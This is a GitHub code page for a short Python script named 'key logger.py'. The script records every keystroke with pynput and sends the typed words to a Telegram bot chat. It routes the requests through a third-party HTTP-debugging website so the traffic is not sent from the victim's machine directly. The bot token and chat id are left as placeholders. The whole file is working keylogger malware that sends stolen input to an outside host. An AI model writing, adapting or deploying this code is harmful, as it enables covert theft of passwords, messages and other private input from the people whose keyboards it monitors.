-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathkey logger.py
39 lines (27 loc) · 887 Bytes
/
key logger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
from pynput import keyboard
def send_message(word):
url = 'https://api.telegram.org/"your robot token"/sendmessage?chat_id="your chat id"&text='+word
data = {'UrlBox':url,
'AgentList':'Mozila Firefox',
'VersionsList':'HTTP/1.1',
'MethodList':'GET'
}
http_requests = requests.post('https://www.httpdebugger.com/Tools/ViewHttpHeaders.aspx' , data)
def listener():
with keyboard.Listener(on_press= keyboard_log) as lstn:
lstn.join()
list_of_words = []
def keyboard_log(key):
final_string = ''
try:
key = key.char
list_of_words.append(key)
except:
for i in list_of_words:
final_string += i
send_message(final_string)
#print('this is final string:', final_string)
list_of_words.clear()
listener()
keyboard_log(list_of_words)